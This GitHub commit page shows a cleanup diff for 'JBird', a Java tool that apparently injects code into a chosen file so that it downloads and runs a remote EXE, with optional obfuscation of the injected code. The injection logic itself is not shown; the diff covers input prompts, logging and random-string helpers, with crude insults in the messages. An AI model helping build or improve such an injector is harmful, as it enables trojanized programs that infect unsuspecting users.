Skip to content

Commit

Permalink
code cleanup <3
Browse files Browse the repository at this point in the history
  • Loading branch information
Contra committed Apr 26, 2011
1 parent 5e2a4eb commit 8608b09
Show file tree
Hide file tree
Showing 11 changed files with 71 additions and 124 deletions.
160 changes: 50 additions & 110 deletions .idea/workspace.xml

Large diffs are not rendered by default.

Binary file modified out/artifacts/JBird_jar/JBird.jar
Binary file not shown.
Binary file modified out/production/JBird/Application.class
Binary file not shown.
Binary file modified out/production/JBird/util/misc/LogHandler.class
Binary file not shown.
Binary file modified out/production/JBird/util/misc/Misc.class
Binary file not shown.
Binary file modified out/production/JBird/util/misc/UI$1.class
Binary file not shown.
Binary file modified out/production/JBird/util/misc/UI.class
Binary file not shown.
10 changes: 7 additions & 3 deletions src/Application.java
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,9 @@ public static void main(String[] args) {
String obinput;
String appinput;

if (args.length > 0) close("Don't try to use the command line shithead");
if (args.length > 0) {
close("Don't try to use the command line shithead");
}

/* STUPID FUCKING USER INPUT FOR NOOB DUMBASSES */
url = JOptionPane.showInputDialog("Remote EXE:", "http://example.com/test.exe");
Expand All @@ -39,13 +41,15 @@ public static void main(String[] args) {
obinput = UI.getComboInput(obchoices, "Obfuscation", "Would you like to obfuscate injected code?");
obfuscate = obinput != null && !obinput.equals(obchoices[1]);

if ((file == null) || (url == null) || (appinput == null) || (obinput == null)) {
if (file == null || url == null || appinput == null || obinput == null) {
close("Missing input. Please fill in all fields appropriately.");
}
Injector inf = new Injector(file, url, mname);
inf.load();
inf.inject();
if (obfuscate) inf.obfuscate();
if (obfuscate) {
inf.obfuscate();
}
inf.save();
close("Process Completed!");
}
Expand Down
8 changes: 5 additions & 3 deletions src/util/misc/LogHandler.java
Original file line number Diff line number Diff line change
@@ -1,5 +1,7 @@
package util.misc;

import static util.misc.Settings.*;

public class LogHandler {

private final String Name;
Expand All @@ -13,12 +15,12 @@ public void log(String msg) {
}

public void debug(String msg) {
if (Settings.DEBUG) {
System.out.println("[" + Name + "]" + "[DEBUG]" + msg);
if (DEBUG) {
log("[DEBUG]" + msg);
}
}

public void error(String msg) {
System.out.println("[" + Name + "]" + "[ERROR]" + msg);
log("[ERROR]" + msg);
}
}
13 changes: 6 additions & 7 deletions src/util/misc/Misc.java
Original file line number Diff line number Diff line change
Expand Up @@ -5,22 +5,21 @@
public class Misc {

public static String getRandomString(int length, boolean simple) {
//simple = true;
if (!simple) {
if (simple) {
String charset = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890$_";
Random rand = new Random();
StringBuffer sb = new StringBuffer();
for (int i = 0; i < length; i++) {
sb.append(new char[rand.nextInt(255)]);
sb.append(charset.charAt(rand.nextInt(charset.length())));
}
return sb.toString();
return sb.toString() + rand.nextInt(20);
} else {
String charset = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890$_";
Random rand = new Random();
StringBuffer sb = new StringBuffer();
for (int i = 0; i < length; i++) {
sb.append(charset.charAt(rand.nextInt(charset.length())));
sb.append(new char[rand.nextInt(255)]);
}
return sb.toString() + rand.nextInt(20);
return sb.toString();
}
}
}
4 changes: 3 additions & 1 deletion src/util/misc/UI.java
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
import javax.swing.filechooser.FileFilter;
import java.io.File;

import static util.misc.IO.getExtension;

public class UI {

public static String getComboInput(String[] options, String title, String comment) {
Expand All @@ -19,7 +21,7 @@ public boolean accept(File f) {
if (f.isDirectory()) {
return true;
}
String extens = IO.getExtension(f);
String extens = getExtension(f);
if (extens != null) {
return extens.equals(extension);
}
Expand Down

0 comments on commit 8608b09

Please sign in to comment.